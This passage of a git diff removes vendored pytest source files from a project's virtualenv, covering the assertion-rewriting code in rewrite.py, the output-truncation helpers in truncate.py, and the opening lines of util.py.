source_stat: os.stat_result, co: types.CodeType -) -> None: - # Technically, we don't have to have the same pyc format as - # (C)Python, since these "pycs" should never be seen by builtin - # import. However, there's little reason to deviate. - fp.write(importlib.util.MAGIC_NUMBER) - # https://www.python.org/dev/peps/pep-0552/ - flags = b"\x00\x00\x00\x00" - fp.write(flags) - # as of now, bytecode header expects 32-bit numbers for size and mtime (#4903) - mtime = int(source_stat.st_mtime) & 0xFFFFFFFF - size = source_stat.st_size & 0xFFFFFFFF - # " bool: - proc_pyc = f"{pyc}.{os.getpid()}" - try: - with open(proc_pyc, "wb") as fp: - _write_pyc_fp(fp, source_stat, co) - except OSError as e: - state.trace(f"error writing pyc file at {proc_pyc}: errno={e.errno}") - return False - - try: - os.replace(proc_pyc, pyc) - except OSError as e: - state.trace(f"error writing pyc file at {pyc}: {e}") - # we ignore any failure to write the cache file - # there are many reasons, permission-denied, pycache dir being a - # file etc. - return False - return True - - -def _rewrite_test(fn: Path, config: Config) -> tuple[os.stat_result, types.CodeType]: - """Read and rewrite *fn* and return the code object.""" - stat = os.stat(fn) - source = fn.read_bytes() - strfn = str(fn) - tree = ast.parse(source, filename=strfn) - rewrite_asserts(tree, source, strfn, config) - co = compile(tree, strfn, "exec", dont_inherit=True) - return stat, co - - -def _read_pyc( - source: Path, pyc: Path, trace: Callable[[str], None] = lambda x: None -) -> types.CodeType | None: - """Possibly read a pytest pyc containing rewritten code. - - Return rewritten code if successful or None if not. - """ - try: - fp = open(pyc, "rb") - except OSError: - return None - with fp: - try: - stat_result = os.stat(source) - mtime = int(stat_result.st_mtime) - size = stat_result.st_size - data = fp.read(16) - except OSError as e: - trace(f"_read_pyc({source}): OSError {e}") - return None - # Check for invalid or out of date pyc file. - if len(data) != (16): - trace(f"_read_pyc({source}): invalid pyc (too short)") - return None - if data[:4] != importlib.util.MAGIC_NUMBER: - trace(f"_read_pyc({source}): invalid pyc (bad magic number)") - return None - if data[4:8] != b"\x00\x00\x00\x00": - trace(f"_read_pyc({source}): invalid pyc (unsupported flags)") - return None - mtime_data = data[8:12] - if int.from_bytes(mtime_data, "little") != mtime & 0xFFFFFFFF: - trace(f"_read_pyc({source}): out of date") - return None - size_data = data[12:16] - if int.from_bytes(size_data, "little") != size & 0xFFFFFFFF: - trace(f"_read_pyc({source}): invalid pyc (incorrect size)") - return None - try: - co = marshal.load(fp) - except Exception as e: - trace(f"_read_pyc({source}): marshal.load error {e}") - return None - if not isinstance(co, types.CodeType): - trace(f"_read_pyc({source}): not a code object") - return None - return co - - -def rewrite_asserts( - mod: ast.Module, - source: bytes, - module_path: str | None = None, - config: Config | None = None, -) -> None: - """Rewrite the assert statements in mod.""" - AssertionRewriter(module_path, config, source).run(mod) - - -def _saferepr(obj: object) -> str: - r"""Get a safe repr of an object for assertion error messages. - - The assertion formatting (util.format_explanation()) requires - newlines to be escaped since they are a special character for it. - Normally assertion.util.format_explanation() does this but for a - custom repr it is possible to contain one of the special escape - sequences, especially '\n{' and '\n}' are likely to be present in - JSON reprs. - """ - if isinstance(obj, types.MethodType): - # for bound methods, skip redundant information - return obj.__name__ - - maxsize = _get_maxsize_for_saferepr(util._config) - return saferepr(obj, maxsize=maxsize).replace("\n", "\\n") - - -def _get_maxsize_for_saferepr(config: Config | None) -> int | None: - """Get `maxsize` configuration for saferepr based on the given config object.""" - if config is None: - verbosity = 0 - else: - verbosity = config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - if verbosity >= 2: - return None - if verbosity >= 1: - return DEFAULT_REPR_MAX_SIZE * 10 - return DEFAULT_REPR_MAX_SIZE - - -def _format_assertmsg(obj: object) -> str: - r"""Format the custom assertion message given. - - For strings this simply replaces newlines with '\n~' so that - util.format_explanation() will preserve them instead of escaping - newlines. For other objects saferepr() is used first. - """ - # reprlib appears to have a bug which means that if a string - # contains a newline it gets escaped, however if an object has a - # .__repr__() which contains newlines it does not get escaped. - # However in either case we want to preserve the newline. - replaces = [("\n", "\n~"), ("%", "%%")] - if not isinstance(obj, str): - obj = saferepr(obj) - replaces.append(("\\n", "\n~")) - - for r1, r2 in replaces: - obj = obj.replace(r1, r2) - - return obj - - -def _should_repr_global_name(obj: object) -> bool: - if callable(obj): - return False - - try: - return not hasattr(obj, "__name__") - except Exception: - return True - - -def _format_boolop(explanations: Iterable[str], is_or: bool) -> str: - explanation = "(" + (is_or and " or " or " and ").join(explanations) + ")" - return explanation.replace("%", "%%") - - -def _call_reprcompare( - ops: Sequence[str], - results: Sequence[bool], - expls: Sequence[str], - each_obj: Sequence[object], -) -> str: - for i, res, expl in zip(range(len(ops)), results, expls): - try: - done = not res - except Exception: - done = True - if done: - break - if util._reprcompare is not None: - custom = util._reprcompare(ops[i], each_obj[i], each_obj[i + 1]) - if custom is not None: - return custom - return expl - - -def _call_assertion_pass(lineno: int, orig: str, expl: str) -> None: - if util._assertion_pass is not None: - util._assertion_pass(lineno, orig, expl) - - -def _check_if_assertion_pass_impl() -> bool: - """Check if any plugins implement the pytest_assertion_pass hook - in order not to generate explanation unnecessarily (might be expensive).""" - return True if util._assertion_pass else False - - -UNARY_MAP = {ast.Not: "not %s", ast.Invert: "~%s", ast.USub: "-%s", ast.UAdd: "+%s"} - -BINOP_MAP = { - ast.BitOr: "|", - ast.BitXor: "^", - ast.BitAnd: "&", - ast.LShift: "<<", - ast.RShift: ">>", - ast.Add: "+", - ast.Sub: "-", - ast.Mult: "*", - ast.Div: "/", - ast.FloorDiv: "//", - ast.Mod: "%%", # escaped for string formatting - ast.Eq: "==", - ast.NotEq: "!=", - ast.Lt: "<", - ast.LtE: "<=", - ast.Gt: ">", - ast.GtE: ">=", - ast.Pow: "**", - ast.Is: "is", - ast.IsNot: "is not", - ast.In: "in", - ast.NotIn: "not in", - ast.MatMult: "@", -} - - -def traverse_node(node: ast.AST) -> Iterator[ast.AST]: - """Recursively yield node and all its children in depth-first order.""" - yield node - for child in ast.iter_child_nodes(node): - yield from traverse_node(child) - - -@functools.lru_cache(maxsize=1) -def _get_assertion_exprs(src: bytes) -> dict[int, str]: - """Return a mapping from {lineno: "assertion test expression"}.""" - ret: dict[int, str] = {} - - depth = 0 - lines: list[str] = [] - assert_lineno: int | None = None - seen_lines: set[int] = set() - - def _write_and_reset() -> None: - nonlocal depth, lines, assert_lineno, seen_lines - assert assert_lineno is not None - ret[assert_lineno] = "".join(lines).rstrip().rstrip("\\") - depth = 0 - lines = [] - assert_lineno = None - seen_lines = set() - - tokens = tokenize.tokenize(io.BytesIO(src).readline) - for tp, source, (lineno, offset), _, line in tokens: - if tp == tokenize.NAME and source == "assert": - assert_lineno = lineno - elif assert_lineno is not None: - # keep track of depth for the assert-message `,` lookup - if tp == tokenize.OP and source in "([{": - depth += 1 - elif tp == tokenize.OP and source in ")]}": - depth -= 1 - - if not lines: - lines.append(line[offset:]) - seen_lines.add(lineno) - # a non-nested comma separates the expression from the message - elif depth == 0 and tp == tokenize.OP and source == ",": - # one line assert with message - if lineno in seen_lines and len(lines) == 1: - offset_in_trimmed = offset + len(lines[-1]) - len(line) - lines[-1] = lines[-1][:offset_in_trimmed] - # multi-line assert with message - elif lineno in seen_lines: - lines[-1] = lines[-1][:offset] - # multi line assert with escaped newline before message - else: - lines.append(line[:offset]) - _write_and_reset() - elif tp in {tokenize.NEWLINE, tokenize.ENDMARKER}: - _write_and_reset() - elif lines and lineno not in seen_lines: - lines.append(line) - seen_lines.add(lineno) - - return ret - - -class AssertionRewriter(ast.NodeVisitor): - """Assertion rewriting implementation. - - The main entrypoint is to call .run() with an ast.Module instance, - this will then find all the assert statements and rewrite them to - provide intermediate values and a detailed assertion error. See - http://pybites.blogspot.be/2011/07/behind-scenes-of-pytests-new-assertion.html - for an overview of how this works. - - The entry point here is .run() which will iterate over all the - statements in an ast.Module and for each ast.Assert statement it - finds call .visit() with it. Then .visit_Assert() takes over and - is responsible for creating new ast statements to replace the - original assert statement: it rewrites the test of an assertion - to provide intermediate values and replace it with an if statement - which raises an assertion error with a detailed explanation in - case the expression is false and calls pytest_assertion_pass hook - if expression is true. - - For this .visit_Assert() uses the visitor pattern to visit all the - AST nodes of the ast.Assert.test field, each visit call returning - an AST node and the corresponding explanation string. During this - state is kept in several instance attributes: - - :statements: All the AST statements which will replace the assert - statement. - - :variables: This is populated by .variable() with each variable - used by the statements so that they can all be set to None at - the end of the statements. - - :variable_counter: Counter to create new unique variables needed - by statements. Variables are created using .variable() and - have the form of "@py_assert0". - - :expl_stmts: The AST statements which will be executed to get - data from the assertion. This is the code which will construct - the detailed assertion message that is used in the AssertionError - or for the pytest_assertion_pass hook. - - :explanation_specifiers: A dict filled by .explanation_param() - with %-formatting placeholders and their corresponding - expressions to use in the building of an assertion message. - This is used by .pop_format_context() to build a message. - - :stack: A stack of the explanation_specifiers dicts maintained by - .push_format_context() and .pop_format_context() which allows - to build another %-formatted string while already building one. - - :scope: A tuple containing the current scope used for variables_overwrite. - - :variables_overwrite: A dict filled with references to variables - that change value within an assert. This happens when a variable is - reassigned with the walrus operator - - This state, except the variables_overwrite, is reset on every new assert - statement visited and used by the other visitors. - """ - - def __init__( - self, module_path: str | None, config: Config | None, source: bytes - ) -> None: - super().__init__() - self.module_path = module_path - self.config = config - if config is not None: - self.enable_assertion_pass_hook = config.getini( - "enable_assertion_pass_hook" - ) - else: - self.enable_assertion_pass_hook = False - self.source = source - self.scope: tuple[ast.AST, ...] = () - self.variables_overwrite: defaultdict[tuple[ast.AST, ...], dict[str, str]] = ( - defaultdict(dict) - ) - - def run(self, mod: ast.Module) -> None: - """Find all assert statements in *mod* and rewrite them.""" - if not mod.body: - # Nothing to do. - return - - # We'll insert some special imports at the top of the module, but after any - # docstrings and __future__ imports, so first figure out where that is. - doc = getattr(mod, "docstring", None) - expect_docstring = doc is None - if doc is not None and self.is_rewrite_disabled(doc): - return - pos = 0 - item = None - for item in mod.body: - if ( - expect_docstring - and isinstance(item, ast.Expr) - and isinstance(item.value, ast.Constant) - and isinstance(item.value.value, str) - ): - doc = item.value.value - if self.is_rewrite_disabled(doc): - return - expect_docstring = False - elif ( - isinstance(item, ast.ImportFrom) - and item.level == 0 - and item.module == "__future__" - ): - pass - else: - break - pos += 1 - # Special case: for a decorated function, set the lineno to that of the - # first decorator, not the `def`. Issue #4984. - if isinstance(item, ast.FunctionDef) and item.decorator_list: - lineno = item.decorator_list[0].lineno - else: - lineno = item.lineno - # Now actually insert the special imports. - if sys.version_info >= (3, 10): - aliases = [ - ast.alias("builtins", "@py_builtins", lineno=lineno, col_offset=0), - ast.alias( - "_pytest.assertion.rewrite", - "@pytest_ar", - lineno=lineno, - col_offset=0, - ), - ] - else: - aliases = [ - ast.alias("builtins", "@py_builtins"), - ast.alias("_pytest.assertion.rewrite", "@pytest_ar"), - ] - imports = [ - ast.Import([alias], lineno=lineno, col_offset=0) for alias in aliases - ] - mod.body[pos:pos] = imports - - # Collect asserts. - self.scope = (mod,) - nodes: list[ast.AST | Sentinel] = [mod] - while nodes: - node = nodes.pop() - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): - self.scope = tuple((*self.scope, node)) - nodes.append(_SCOPE_END_MARKER) - if node == _SCOPE_END_MARKER: - self.scope = self.scope[:-1] - continue - assert isinstance(node, ast.AST) - for name, field in ast.iter_fields(node): - if isinstance(field, list): - new: list[ast.AST] = [] - for i, child in enumerate(field): - if isinstance(child, ast.Assert): - # Transform assert. - new.extend(self.visit(child)) - else: - new.append(child) - if isinstance(child, ast.AST): - nodes.append(child) - setattr(node, name, new) - elif ( - isinstance(field, ast.AST) - # Don't recurse into expressions as they can't contain - # asserts. - and not isinstance(field, ast.expr) - ): - nodes.append(field) - - @staticmethod - def is_rewrite_disabled(docstring: str) -> bool: - return "PYTEST_DONT_REWRITE" in docstring - - def variable(self) -> str: - """Get a new variable.""" - # Use a character invalid in python identifiers to avoid clashing. - name = "@py_assert" + str(next(self.variable_counter)) - self.variables.append(name) - return name - - def assign(self, expr: ast.expr) -> ast.Name: - """Give *expr* a name.""" - name = self.variable() - self.statements.append(ast.Assign([ast.Name(name, ast.Store())], expr)) - return ast.Name(name, ast.Load()) - - def display(self, expr: ast.expr) -> ast.expr: - """Call saferepr on the expression.""" - return self.helper("_saferepr", expr) - - def helper(self, name: str, *args: ast.expr) -> ast.expr: - """Call a helper in this module.""" - py_name = ast.Name("@pytest_ar", ast.Load()) - attr = ast.Attribute(py_name, name, ast.Load()) - return ast.Call(attr, list(args), []) - - def builtin(self, name: str) -> ast.Attribute: - """Return the builtin called *name*.""" - builtin_name = ast.Name("@py_builtins", ast.Load()) - return ast.Attribute(builtin_name, name, ast.Load()) - - def explanation_param(self, expr: ast.expr) -> str: - """Return a new named %-formatting placeholder for expr. - - This creates a %-formatting placeholder for expr in the - current formatting context, e.g. ``%(py0)s``. The placeholder - and expr are placed in the current format context so that it - can be used on the next call to .pop_format_context(). - """ - specifier = "py" + str(next(self.variable_counter)) - self.explanation_specifiers[specifier] = expr - return "%(" + specifier + ")s" - - def push_format_context(self) -> None: - """Create a new formatting context. - - The format context is used for when an explanation wants to - have a variable value formatted in the assertion message. In - this case the value required can be added using - .explanation_param(). Finally .pop_format_context() is used - to format a string of %-formatted values as added by - .explanation_param(). - """ - self.explanation_specifiers: dict[str, ast.expr] = {} - self.stack.append(self.explanation_specifiers) - - def pop_format_context(self, expl_expr: ast.expr) -> ast.Name: - """Format the %-formatted string with current format context. - - The expl_expr should be an str ast.expr instance constructed from - the %-placeholders created by .explanation_param(). This will - add the required code to format said string to .expl_stmts and - return the ast.Name instance of the formatted string. - """ - current = self.stack.pop() - if self.stack: - self.explanation_specifiers = self.stack[-1] - keys: list[ast.expr | None] = [ast.Constant(key) for key in current.keys()] - format_dict = ast.Dict(keys, list(current.values())) - form = ast.BinOp(expl_expr, ast.Mod(), format_dict) - name = "@py_format" + str(next(self.variable_counter)) - if self.enable_assertion_pass_hook: - self.format_variables.append(name) - self.expl_stmts.append(ast.Assign([ast.Name(name, ast.Store())], form)) - return ast.Name(name, ast.Load()) - - def generic_visit(self, node: ast.AST) -> tuple[ast.Name, str]: - """Handle expressions we don't have custom code for.""" - assert isinstance(node, ast.expr) - res = self.assign(node) - return res, self.explanation_param(self.display(res)) - - def visit_Assert(self, assert_: ast.Assert) -> list[ast.stmt]: - """Return the AST statements to replace the ast.Assert instance. - - This rewrites the test of an assertion to provide - intermediate values and replace it with an if statement which - raises an assertion error with a detailed explanation in case - the expression is false. - """ - if isinstance(assert_.test, ast.Tuple) and len(assert_.test.elts) >= 1: - import warnings - - from _pytest.warning_types import PytestAssertRewriteWarning - - # TODO: This assert should not be needed. - assert self.module_path is not None - warnings.warn_explicit( - PytestAssertRewriteWarning( - "assertion is always true, perhaps remove parentheses?" - ), - category=None, - filename=self.module_path, - lineno=assert_.lineno, - ) - - self.statements: list[ast.stmt] = [] - self.variables: list[str] = [] - self.variable_counter = itertools.count() - - if self.enable_assertion_pass_hook: - self.format_variables: list[str] = [] - - self.stack: list[dict[str, ast.expr]] = [] - self.expl_stmts: list[ast.stmt] = [] - self.push_format_context() - # Rewrite assert into a bunch of statements. - top_condition, explanation = self.visit(assert_.test) - - negation = ast.UnaryOp(ast.Not(), top_condition) - - if self.enable_assertion_pass_hook: # Experimental pytest_assertion_pass hook - msg = self.pop_format_context(ast.Constant(explanation)) - - # Failed - if assert_.msg: - assertmsg = self.helper("_format_assertmsg", assert_.msg) - gluestr = "\n>assert " - else: - assertmsg = ast.Constant("") - gluestr = "assert " - err_explanation = ast.BinOp(ast.Constant(gluestr), ast.Add(), msg) - err_msg = ast.BinOp(assertmsg, ast.Add(), err_explanation) - err_name = ast.Name("AssertionError", ast.Load()) - fmt = self.helper("_format_explanation", err_msg) - exc = ast.Call(err_name, [fmt], []) - raise_ = ast.Raise(exc, None) - statements_fail = [] - statements_fail.extend(self.expl_stmts) - statements_fail.append(raise_) - - # Passed - fmt_pass = self.helper("_format_explanation", msg) - orig = _get_assertion_exprs(self.source)[assert_.lineno] - hook_call_pass = ast.Expr( - self.helper( - "_call_assertion_pass", - ast.Constant(assert_.lineno), - ast.Constant(orig), - fmt_pass, - ) - ) - # If any hooks implement assert_pass hook - hook_impl_test = ast.If( - self.helper("_check_if_assertion_pass_impl"), - [*self.expl_stmts, hook_call_pass], - [], - ) - statements_pass: list[ast.stmt] = [hook_impl_test] - - # Test for assertion condition - main_test = ast.If(negation, statements_fail, statements_pass) - self.statements.append(main_test) - if self.format_variables: - variables: list[ast.expr] = [ - ast.Name(name, ast.Store()) for name in self.format_variables - ] - clear_format = ast.Assign(variables, ast.Constant(None)) - self.statements.append(clear_format) - - else: # Original assertion rewriting - # Create failure message. - body = self.expl_stmts - self.statements.append(ast.If(negation, body, [])) - if assert_.msg: - assertmsg = self.helper("_format_assertmsg", assert_.msg) - explanation = "\n>assert " + explanation - else: - assertmsg = ast.Constant("") - explanation = "assert " + explanation - template = ast.BinOp(assertmsg, ast.Add(), ast.Constant(explanation)) - msg = self.pop_format_context(template) - fmt = self.helper("_format_explanation", msg) - err_name = ast.Name("AssertionError", ast.Load()) - exc = ast.Call(err_name, [fmt], []) - raise_ = ast.Raise(exc, None) - - body.append(raise_) - - # Clear temporary variables by setting them to None. - if self.variables: - variables = [ast.Name(name, ast.Store()) for name in self.variables] - clear = ast.Assign(variables, ast.Constant(None)) - self.statements.append(clear) - # Fix locations (line numbers/column offsets). - for stmt in self.statements: - for node in traverse_node(stmt): - ast.copy_location(node, assert_) - return self.statements - - def visit_NamedExpr(self, name: ast.NamedExpr) -> tuple[ast.NamedExpr, str]: - # This method handles the 'walrus operator' repr of the target - # name if it's a local variable or _should_repr_global_name() - # thinks it's acceptable. - locs = ast.Call(self.builtin("locals"), [], []) - target_id = name.target.id - inlocs = ast.Compare(ast.Constant(target_id), [ast.In()], [locs]) - dorepr = self.helper("_should_repr_global_name", name) - test = ast.BoolOp(ast.Or(), [inlocs, dorepr]) - expr = ast.IfExp(test, self.display(name), ast.Constant(target_id)) - return name, self.explanation_param(expr) - - def visit_Name(self, name: ast.Name) -> tuple[ast.Name, str]: - # Display the repr of the name if it's a local variable or - # _should_repr_global_name() thinks it's acceptable. - locs = ast.Call(self.builtin("locals"), [], []) - inlocs = ast.Compare(ast.Constant(name.id), [ast.In()], [locs]) - dorepr = self.helper("_should_repr_global_name", name) - test = ast.BoolOp(ast.Or(), [inlocs, dorepr]) - expr = ast.IfExp(test, self.display(name), ast.Constant(name.id)) - return name, self.explanation_param(expr) - - def visit_BoolOp(self, boolop: ast.BoolOp) -> tuple[ast.Name, str]: - res_var = self.variable() - expl_list = self.assign(ast.List([], ast.Load())) - app = ast.Attribute(expl_list, "append", ast.Load()) - is_or = int(isinstance(boolop.op, ast.Or)) - body = save = self.statements - fail_save = self.expl_stmts - levels = len(boolop.values) - 1 - self.push_format_context() - # Process each operand, short-circuiting if needed. - for i, v in enumerate(boolop.values): - if i: - fail_inner: list[ast.stmt] = [] - # cond is set in a prior loop iteration below - self.expl_stmts.append(ast.If(cond, fail_inner, [])) # noqa: F821 - self.expl_stmts = fail_inner - # Check if the left operand is a ast.NamedExpr and the value has already been visited - if ( - isinstance(v, ast.Compare) - and isinstance(v.left, ast.NamedExpr) - and v.left.target.id - in [ - ast_expr.id - for ast_expr in boolop.values[:i] - if hasattr(ast_expr, "id") - ] - ): - pytest_temp = self.variable() - self.variables_overwrite[self.scope][v.left.target.id] = v.left # type:ignore[assignment] - v.left.target.id = pytest_temp - self.push_format_context() - res, expl = self.visit(v) - body.append(ast.Assign([ast.Name(res_var, ast.Store())], res)) - expl_format = self.pop_format_context(ast.Constant(expl)) - call = ast.Call(app, [expl_format], []) - self.expl_stmts.append(ast.Expr(call)) - if i < levels: - cond: ast.expr = res - if is_or: - cond = ast.UnaryOp(ast.Not(), cond) - inner: list[ast.stmt] = [] - self.statements.append(ast.If(cond, inner, [])) - self.statements = body = inner - self.statements = save - self.expl_stmts = fail_save - expl_template = self.helper("_format_boolop", expl_list, ast.Constant(is_or)) - expl = self.pop_format_context(expl_template) - return ast.Name(res_var, ast.Load()), self.explanation_param(expl) - - def visit_UnaryOp(self, unary: ast.UnaryOp) -> tuple[ast.Name, str]: - pattern = UNARY_MAP[unary.op.__class__] - operand_res, operand_expl = self.visit(unary.operand) - res = self.assign(ast.UnaryOp(unary.op, operand_res)) - return res, pattern % (operand_expl,) - - def visit_BinOp(self, binop: ast.BinOp) -> tuple[ast.Name, str]: - symbol = BINOP_MAP[binop.op.__class__] - left_expr, left_expl = self.visit(binop.left) - right_expr, right_expl = self.visit(binop.right) - explanation = f"({left_expl} {symbol} {right_expl})" - res = self.assign(ast.BinOp(left_expr, binop.op, right_expr)) - return res, explanation - - def visit_Call(self, call: ast.Call) -> tuple[ast.Name, str]: - new_func, func_expl = self.visit(call.func) - arg_expls = [] - new_args = [] - new_kwargs = [] - for arg in call.args: - if isinstance(arg, ast.Name) and arg.id in self.variables_overwrite.get( - self.scope, {} - ): - arg = self.variables_overwrite[self.scope][arg.id] # type:ignore[assignment] - res, expl = self.visit(arg) - arg_expls.append(expl) - new_args.append(res) - for keyword in call.keywords: - if isinstance( - keyword.value, ast.Name - ) and keyword.value.id in self.variables_overwrite.get(self.scope, {}): - keyword.value = self.variables_overwrite[self.scope][keyword.value.id] # type:ignore[assignment] - res, expl = self.visit(keyword.value) - new_kwargs.append(ast.keyword(keyword.arg, res)) - if keyword.arg: - arg_expls.append(keyword.arg + "=" + expl) - else: # **args have `arg` keywords with an .arg of None - arg_expls.append("**" + expl) - - expl = "{}({})".format(func_expl, ", ".join(arg_expls)) - new_call = ast.Call(new_func, new_args, new_kwargs) - res = self.assign(new_call) - res_expl = self.explanation_param(self.display(res)) - outer_expl = f"{res_expl}\n{{{res_expl} = {expl}\n}}" - return res, outer_expl - - def visit_Starred(self, starred: ast.Starred) -> tuple[ast.Starred, str]: - # A Starred node can appear in a function call. - res, expl = self.visit(starred.value) - new_starred = ast.Starred(res, starred.ctx) - return new_starred, "*" + expl - - def visit_Attribute(self, attr: ast.Attribute) -> tuple[ast.Name, str]: - if not isinstance(attr.ctx, ast.Load): - return self.generic_visit(attr) - value, value_expl = self.visit(attr.value) - res = self.assign(ast.Attribute(value, attr.attr, ast.Load())) - res_expl = self.explanation_param(self.display(res)) - pat = "%s\n{%s = %s.%s\n}" - expl = pat % (res_expl, res_expl, value_expl, attr.attr) - return res, expl - - def visit_Compare(self, comp: ast.Compare) -> tuple[ast.expr, str]: - self.push_format_context() - # We first check if we have overwritten a variable in the previous assert - if isinstance( - comp.left, ast.Name - ) and comp.left.id in self.variables_overwrite.get(self.scope, {}): - comp.left = self.variables_overwrite[self.scope][comp.left.id] # type:ignore[assignment] - if isinstance(comp.left, ast.NamedExpr): - self.variables_overwrite[self.scope][comp.left.target.id] = comp.left # type:ignore[assignment] - left_res, left_expl = self.visit(comp.left) - if isinstance(comp.left, (ast.Compare, ast.BoolOp)): - left_expl = f"({left_expl})" - res_variables = [self.variable() for i in range(len(comp.ops))] - load_names: list[ast.expr] = [ast.Name(v, ast.Load()) for v in res_variables] - store_names = [ast.Name(v, ast.Store()) for v in res_variables] - it = zip(range(len(comp.ops)), comp.ops, comp.comparators) - expls: list[ast.expr] = [] - syms: list[ast.expr] = [] - results = [left_res] - for i, op, next_operand in it: - if ( - isinstance(next_operand, ast.NamedExpr) - and isinstance(left_res, ast.Name) - and next_operand.target.id == left_res.id - ): - next_operand.target.id = self.variable() - self.variables_overwrite[self.scope][left_res.id] = next_operand # type:ignore[assignment] - next_res, next_expl = self.visit(next_operand) - if isinstance(next_operand, (ast.Compare, ast.BoolOp)): - next_expl = f"({next_expl})" - results.append(next_res) - sym = BINOP_MAP[op.__class__] - syms.append(ast.Constant(sym)) - expl = f"{left_expl} {sym} {next_expl}" - expls.append(ast.Constant(expl)) - res_expr = ast.Compare(left_res, [op], [next_res]) - self.statements.append(ast.Assign([store_names[i]], res_expr)) - left_res, left_expl = next_res, next_expl - # Use pytest.assertion.util._reprcompare if that's available. - expl_call = self.helper( - "_call_reprcompare", - ast.Tuple(syms, ast.Load()), - ast.Tuple(load_names, ast.Load()), - ast.Tuple(expls, ast.Load()), - ast.Tuple(results, ast.Load()), - ) - if len(comp.ops) > 1: - res: ast.expr = ast.BoolOp(ast.And(), load_names) - else: - res = load_names[0] - - return res, self.explanation_param(self.pop_format_context(expl_call)) - - -def try_makedirs(cache_dir: Path) -> bool: - """Attempt to create the given directory and sub-directories exist. - - Returns True if successful or if it already exists. - """ - try: - os.makedirs(cache_dir, exist_ok=True) - except (FileNotFoundError, NotADirectoryError, FileExistsError): - # One of the path components was not a directory: - # - we're in a zip file - # - it is a file - return False - except PermissionError: - return False - except OSError as e: - # as of now, EROFS doesn't have an equivalent OSError-subclass - # - # squashfuse_ll returns ENOSYS "OSError: [Errno 38] Function not - # implemented" for a read-only error - if e.errno in {errno.EROFS, errno.ENOSYS}: - return False - raise - return True - - -def get_cache_dir(file_path: Path) -> Path: - """Return the cache directory to write .pyc files for the given .py file path.""" - if sys.pycache_prefix: - # given: - # prefix = '/tmp/pycs' - # path = '/home/user/proj/test_app.py' - # we want: - # '/tmp/pycs/home/user/proj' - return Path(sys.pycache_prefix) / Path(*file_path.parts[1:-1]) - else: - # classic pycache directory - return file_path.parent / "__pycache__" diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/truncate.py b/backend/venv/Lib/site-packages/_pytest/assertion/truncate.py deleted file mode 100644 index b67f02cc..00000000 --- a/backend/venv/Lib/site-packages/_pytest/assertion/truncate.py +++ /dev/null @@ -1,117 +0,0 @@ -"""Utilities for truncating assertion output. - -Current default behaviour is to truncate assertion explanations at -terminal lines, unless running with an assertions verbosity level of at least 2 or running on CI. -""" - -from __future__ import annotations - -from _pytest.assertion import util -from _pytest.config import Config -from _pytest.nodes import Item - - -DEFAULT_MAX_LINES = 8 -DEFAULT_MAX_CHARS = 8 * 80 -USAGE_MSG = "use '-vv' to show" - - -def truncate_if_required( - explanation: list[str], item: Item, max_length: int | None = None -) -> list[str]: - """Truncate this assertion explanation if the given test item is eligible.""" - if _should_truncate_item(item): - return _truncate_explanation(explanation) - return explanation - - -def _should_truncate_item(item: Item) -> bool: - """Whether or not this test item is eligible for truncation.""" - verbose = item.config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - return verbose < 2 and not util.running_on_ci() - - -def _truncate_explanation( - input_lines: list[str], - max_lines: int | None = None, - max_chars: int | None = None, -) -> list[str]: - """Truncate given list of strings that makes up the assertion explanation. - - Truncates to either 8 lines, or 640 characters - whichever the input reaches - first, taking the truncation explanation into account. The remaining lines - will be replaced by a usage message. - """ - if max_lines is None: - max_lines = DEFAULT_MAX_LINES - if max_chars is None: - max_chars = DEFAULT_MAX_CHARS - - # Check if truncation required - input_char_count = len("".join(input_lines)) - # The length of the truncation explanation depends on the number of lines - # removed but is at least 68 characters: - # The real value is - # 64 (for the base message: - # '...\n...Full output truncated (1 line hidden), use '-vv' to show")' - # ) - # + 1 (for plural) - # + int(math.log10(len(input_lines) - max_lines)) (number of hidden line, at least 1) - # + 3 for the '...' added to the truncated line - # But if there's more than 100 lines it's very likely that we're going to - # truncate, so we don't need the exact value using log10. - tolerable_max_chars = ( - max_chars + 70 # 64 + 1 (for plural) + 2 (for '99') + 3 for '...' - ) - # The truncation explanation add two lines to the output - tolerable_max_lines = max_lines + 2 - if ( - len(input_lines) <= tolerable_max_lines - and input_char_count <= tolerable_max_chars - ): - return input_lines - # Truncate first to max_lines, and then truncate to max_chars if necessary - truncated_explanation = input_lines[:max_lines] - truncated_char = True - # We reevaluate the need to truncate chars following removal of some lines - if len("".join(truncated_explanation)) > tolerable_max_chars: - truncated_explanation = _truncate_by_char_count( - truncated_explanation, max_chars - ) - else: - truncated_char = False - - truncated_line_count = len(input_lines) - len(truncated_explanation) - if truncated_explanation[-1]: - # Add ellipsis and take into account part-truncated final line - truncated_explanation[-1] = truncated_explanation[-1] + "..." - if truncated_char: - # It's possible that we did not remove any char from this line - truncated_line_count += 1 - else: - # Add proper ellipsis when we were able to fit a full line exactly - truncated_explanation[-1] = "..." - return [ - *truncated_explanation, - "", - f"...Full output truncated ({truncated_line_count} line" - f"{'' if truncated_line_count == 1 else 's'} hidden), {USAGE_MSG}", - ] - - -def _truncate_by_char_count(input_lines: list[str], max_chars: int) -> list[str]: - # Find point at which input length exceeds total allowed length - iterated_char_count = 0 - for iterated_index, input_line in enumerate(input_lines): - if iterated_char_count + len(input_line) > max_chars: - break - iterated_char_count += len(input_line) - - # Create truncated explanation with modified final line - truncated_result = input_lines[:iterated_index] - final_line = input_lines[iterated_index] - if final_line: - final_line_truncate_point = max_chars - iterated_char_count - final_line = final_line[:final_line_truncate_point] - truncated_result.append(final_line) - return truncated_result diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/util.py b/backend/venv/Lib/site-packages/_pytest/assertion/util.py deleted file mode 100644 index 4dc1af4a..00000000 --- a/backend/venv/Lib/site-packages/_pytest/assertion/util.py +++ /dev/null @@ -1,609 +0,0 @@ -# mypy: allow-untyped-defs -"""Utilities for assertion debugging.""" - -from __future__ import annotations - -import collections.abc -import os -import pprint -from typing import AbstractSet -from typing import Any -from typing import Callable -from typing import Iterable -from typing import Literal -from typing import Mapping -from typing import Protocol -from typing import Sequence -from unicodedata import normalize - -from _pytest import outcomes -import _pytest._code -from _pytest._io.pprint import PrettyPrinter -from _pytest._io.saferepr import saferepr -from _pytest._io.saferepr import saferepr_unlimited -from _pytest.config import Config - - -# The _reprcompare attribute on the util module is used by the new assertion -# interpretation code and assertion rewriter to detect this plugin was -# loaded and in turn call the hooks defined here as part of the -# DebugInterpreter. -_reprcompare: Callable[[str, 